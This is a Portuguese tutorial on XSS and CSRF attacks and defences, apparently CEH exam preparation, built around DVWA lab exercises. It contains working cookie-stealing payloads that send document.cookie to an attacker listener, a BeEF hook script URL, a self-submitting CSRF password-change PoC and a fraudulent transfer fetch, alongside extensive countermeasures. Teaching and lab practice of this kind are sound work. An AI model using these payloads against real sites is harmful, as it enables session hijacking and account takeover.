XSS e CSRF: Exploração e Defesa em Aplicações Web

// Se o servidor CORS permite qualquer origin
fetch('https://api.bank.com/transfer', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  credentials: 'include',   // anexa cookies
  body: JSON.stringify({to: 'attacker', amount: 5000})
});

// Com Access-Control-Allow-Origin: * e Access-Control-Allow-Credentials: true
// Isso funciona — mas na prática * + credentials é bloqueado pelo browser
// O bypass real é quando o servidor reflete o Origin header:
// Access-Control-Allow-Origin: [origin dinâmico da request]

CSRF — Defesas e Bypass

Anti-CSRF Tokens (Synchronizer Token Pattern)

O servidor gera um token aleatório por sessão e o inclui em cada formulário. Quando o formulário é submetido, o token é validado no servidor. O atacante, operando de outro domínio, não tem acesso ao token por causa da Same-Origin Policy.

<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="a8f2c1d9e4b7...">
  <input name="to">
  <input name="amount">
</form>

SameSite Cookies

O atributo SameSite em cookies controla quando eles são enviados em requests cross-site:

• Strict — cookies NUNCA são enviados em requests cross-site. Máxima proteção, mas quebra funcionalidades como links de email ("abrir no app").
• Lax — cookies são enviados em navegação top-level via GET (links normais), mas NÃO em requests cross-site via POST, iframe, fetch com credentials. É o padrão moderno nos navegadores.
• None — cookies são enviados em qualquer contexto. Requer Secure. Usado apenas quando necessário (embeds, SSO).

Set-Cookie: session_id=abc123; SameSite=Strict; Secure; HttpOnly
Set-Cookie: session_id=abc123; SameSite=Lax; Secure; HttpOnly

Validação de Referer e Origin

O servidor verifica os headers Origin ou Referer da request e rejeita requests de origens não autorizadas:

# Header Origin ( enviado pelo browser em requests cross-origin)
Origin: https://evil.com

# Se o servidor espera Origin: https://bank.com e recebe https://evil.com → reject

Custom Headers

Requisitar um header customizado (ex: X-Requested-With: XMLHttpRequest) bloqueia requests cross-origin de formulários HTML — o browser não permite adicionar headers customizados em form submits sem um preflight CORS. Frameworks como Django e Rails fazem isso automaticamente em AJAX requests.

Double Submit Cookie

O servidor define um cookie CSRF e também espera o mesmo valor no body/header da request. Se o cookie é enviado e o header também, o servidor compara ambos. Atacante cross-site consegue enviar o cookie mas não consegue ler seu valor para colocá-lo no header (Same-Origin Policy).

Bypass de CSRF Defenses

• Predição de token: se o token anti-CSRF usa PRNG fraco, timestamp, ou é derivado de dados previsíveis (user ID + timestamp sem salt), o atacante pode gerá-lo independentemente.
• XSS como bypass: se o site alvo tem XSS, qualquer defesa CSRF é inútil — o script pode ler o token do DOM e incluí-lo na request forjada.
• CORS misconfiguration: Access-Control-Allow-Origin refletindo o Origin do request permite requests cross-origin com credenciais. O atacante só precisa fazer a request do seu site.
• Remoção do token via XSS: mesmo sem ler, o script pode remover a validação CSRF no client-side ou interceptar a request e reenviá-la.

Ferramentas

XSSer

Framework open-source automatizado para detecção e exploração de XSS. Suporta payloads customizados, fuzzing de parâmetros, encoding automático e bypass de WAF. Ideal para triagem rápida em grande volume de parâmetros:

xsser --url "https://target.com/search?q=XSS" --auto
xsser --url "https://target.com" --Fp "<script>alert(document.cookie)</script>" --De

BeEF — Browser Exploitation Framework

Uma vez que XSS é confirmado, BeEF é o próximo passo. O atacante injeta um hook script (<script src="http://attacker:3000/hook.js">) na página vulnerável. O browser da vítima se conecta ao painel do BeEF, que expõe módulos para:

• Keylogging e captura de clipboard.
• Redirecionamento silencioso para páginas de phishing.
• Escalation de XSS para RCE via exploits de browser/plugin.
• Scanning de redes internas (a vítima pode acessar redes que o atacante não consegue).
• Captura de histórico, cookies, credenciais de formulário.

O BeEF transforma um único XSS em uma plataforma completa de post-exploitation do browser.

Burp Suite

Ferramenta central de qualquer pentester web. No contexto XSS/CSRF:

• Scanner: detecta XSS automático (refletido e armazenado) e gera PoC.
• Intruder: fuzzing de parâmetros com payloads XSS de dicionários customizados.
• CSRF PoC Generator: gera página HTML auto-submetível a partir de qualquer request interceptada — botão direito na request → "Generate CSRF PoC".
• Repeater: testar manualmente payloads XSS e observar respostas.

OWASP ZAP

Alternativa open-source ao Burp Suite. Inclui scanner de XSS ativo e passivo, fuzzer, spider e gerador de relatórios. Ideal para quem precisa de ferramentas gratuitas sem limitações.

DVWA — Damn Vulnerable Web Application

Laboratório intencionalmente vulnerável. Os módulos XSS (Reflected, Stored, DOM) e CSRF permitem prática segura dos conceitos deste artigo. Docker disponível para setup instantâneo:

docker run --rm -it -p 80:80 vulnerables/web-dvwa
# Acessar http://localhost → login admin/password
# Ir para DVWA Security → setar "low" para desabilitar proteções

Hands-on — Laboratório com DVWA

Exercício 1: Reflected XSS — Roubo de Cookie

Setup: Acesse o DVWA (Low Security), navegue até "XSS (Reflected)".

Passo 1 — Confirmar vulnerabilidade:

# No campo de input:
<script>alert('XSS confirmado')</script>

# Resultado: popup com a mensagem. O JavaScript foi executado.

Passo 2 — Construir payload de roubo de cookie:

# Payload completo (substitua IP pelo seu listener)
<script>new Image().src="http://192.168.1.100:8080/steal?c="+document.cookie</script>

# No servidor do atacante, iniciar listener:
nc -lvnp 8080
# ou usar Python:
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        print(f'[+] Cookie capturado: {self.path}')
        self.send_response(200)
        self.end_headers()
http.server.HTTPServer(('0.0.0.0', 8080), H).serve_forever()
"

Passo 3 — Entender a cadeia completa: A vítima clica no link, o script executa, o cookie PHPSESSID é enviado ao atacante. Com esse cookie, o atacante pode acessar a conta da vítima substituindo seu próprio cookie.

Exercício 2: Stored XSS — Guestbook

Setup: Navegue até "XSS (Stored)" no DVWA.

# No campo "Name":
<script>document.title='COMPROMETIDO'</script>

# No campo "Message":
<script>new Image().src="http://192.168.1.100:8080/stored?c="+document.cookie</script>

# Qualquer visitante que abrir a página XSS (Stored) terá:
# 1. O título da aba alterado
# 2. Seu cookie exfiltrado silenciosamente

A diferença fundamental: ninguém precisa clicar em link nenhum. A vulnerabilidade é automática e persistente.

Exercício 3: CSRF — Gerar PoC com Burp Suite

Setup: DVWA → "CSRF" (Low Security). O objetivo é mudar a senha do admin.

Passo 1 — Interceptar a request legítima:

# Com Burp Suite proxy ativo, alterar a senha:
POST /vulnerabilities/csrf/ HTTP/1.1
Host: dvwa
Content-Type: application/x-www-form-urlencoded

password_new=senha123&password_conf=senha123&Change=Change

Passo 2 — Gerar PoC: No Burp, botão direito na request interceptada → "Engagement tools" → "Generate CSRF PoC". O Burp gera um HTML pronto:

<html>
  <body>
    <form action="http://dvwa/vulnerabilities/csrf/" method="POST">
      <input type="hidden" name="password_new" value="hacked123" />
      <input type="hidden" name="password_conf" value="hacked123" />
      <input type="hidden" name="Change" value="Change" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>

Passo 3 — Testar: Salve o HTML, abra em outra aba com o DVWA logado como admin. A senha é alterada sem que o usuário perceba. Em "Medium Security", o DVWA adiciona um token anti-CSRF — tentar o mesmo PoC falha, demonstrando a eficácia da defesa.

Contra-medidas — XSS

Output Encoding (Context-Aware)

A defesa primária contra XSS é codificar a saída antes de renderizá-la. O encoding depende do contexto onde o dado é inserido:

• Contexto HTML body: codificar <, >, &, ", ' como entidades HTML.
• Contexto atributo HTML: codificar todos os caracteres acima + `.
• Contexto JavaScript: escaped Unicode para caracteres especiais. Nunca interpolar input diretamente em <script> — usar textContent em vez de innerHTML.
• Contexto URL: usar encodeURIComponent().
• Contexto CSS: escapar todos os caracteres não alfanuméricos.

Content Security Policy (CSP)

Implementar CSP restritiva como camada de defesa em profundidade:

# CSP recomendada (production)
Content-Security-Policy:
  default-src 'none';
  script-src 'self' 'nonce-$(RANDOM)';
  style-src 'self';
  img-src 'self';
  font-src 'self';
  connect-src 'self';
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self'

Use nonces (valores únicos por request) em vez de hashes estáticos. Nunca use 'unsafe-inline' ou 'unsafe-eval' em produção — isso anula a proteção contra XSS inline.

HttpOnly Cookies

Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Strict

Marcar cookies como HttpOnly impede que JavaScript acesse document.cookie. Não previne XSS — mas elimina o roubo de cookie via document.cookie. O atacante ainda pode usar hooks (BeEF), mas a superfície de ataque é reduzida.

Input Validation (Whitelist)

Validar input no servidor é bom, mas insuficiente sozinho contra XSS — porque o dado malicioso pode vir de fontes não controláveis (headers, banco de dados corrompido). A validação deve ser whitelist (permitir apenas caracteres/formatos esperados), nunca blacklist (tentar bloquear payloads conhecidos — sempre falha).

DOMPurify

Para aplicações que precisam renderizar HTML rico (editores WYSIWYG), use a biblioteca DOMPurify para sanitizar o HTML no client-side:

// Sanitiza HTML removendo scripts e event handlers perigosos
const cleanHTML = DOMPurify.sanitize(userInput, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
  ALLOWED_ATTR: ['href', 'target']
});
document.getElementById('content').innerHTML = cleanHTML;

Contra-medidas — CSRF

Implementação em Camadas

Uma defesa robusta contra CSRF combina múltiplas camadas:

• Anti-CSRF tokens — padrão Synchronizer Token. Gerar token criptograficamente seguro por sessão (mínimo 128 bits de entropia). Validar em toda request state-changing. Frameworks modernos fazem isso automaticamente (Django {% csrf_token %}, Rails protect_from_forgery, Spring @CsrfProtection).
• SameSite=Lax nos cookies de sessão — mínimo aceitável hoje. Compatível com links normais e evita a maioria dos ataques CSRF. Navegadores modernos usam Lax como padrão quando o atributo não é especificado.
• Verificação de Origin/Referer — camada adicional. Confira o header Origin e rejeite se não corresponder à lista de origens permitidas. Não dependa exclusivamente deste (headers podem ser omitidos em certos cenários).
• Re-autenticação para ações sensíveis (transferência de valores, mudança de senha, exclusão de conta). Mesmo com CSRF token, pedir a senha novamente é defesa em profundidade.
• Custom headers — exigir X-Requested-With: XMLHttpRequest (ou similar) em endpoints AJAX. Formulários HTML não conseguem enviar headers customizados sem preflight CORS.

# Exemplo de verificação no backend (Node.js/Express)
app.post('/transfer', (req, res) => {
  // 1. Verificar Origin
  const origin = req.headers.origin;
  if (!['https://bank.com', 'https://app.bank.com'].includes(origin)) {
    return res.status(403).json({error: 'Origin inválido'});
  }

  // 2. Verificar CSRF token
  if (req.body.csrf_token !== req.session.csrfToken) {
    return res.status(403).json({error: 'Token CSRF inválido'});
  }

  // 3. Verificar custom header (se AJAX)
  if (!req.headers['x-requested-with']) {
    return res.status(403).json({error: 'Header obrigatório ausente'});
  }

  // Processar transferência...
});

Resumo

XSS e CSRF são vulnerabilidades distintas com mecânicas diferentes, mas ambas exploram a confiança implícita que o browser tem na aplicação web. XSS injeta código executável; CSRF forja requests autenticadas. Ambas são mitigáveis com as defesas certas — mas continuam predominantes porque desenvolvedores falham em implementá-las consistentemente.

Para o CEH v13, o examinador espera que você saiba:

• Diferenciar os três tipos de XSS (refletido, armazenado, DOM-based).
• Construir payloads básicos de XSS para diferentes objetivos.
• Explicar como o CSP funciona e como pode ser contornado.
• Descrever o mecanismo do CSRF e gerar PoC.
• Listar contra-medidas para XSS e CSRF com detalhes técnicos.
• Usar ferramentas como Burp Suite e DVWA para demonstrar exploração.

A prática no DVWA e a construção manual de payloads consolidam o entendimento teórico — e esse é o diferencial entre passar e passar bem no exame.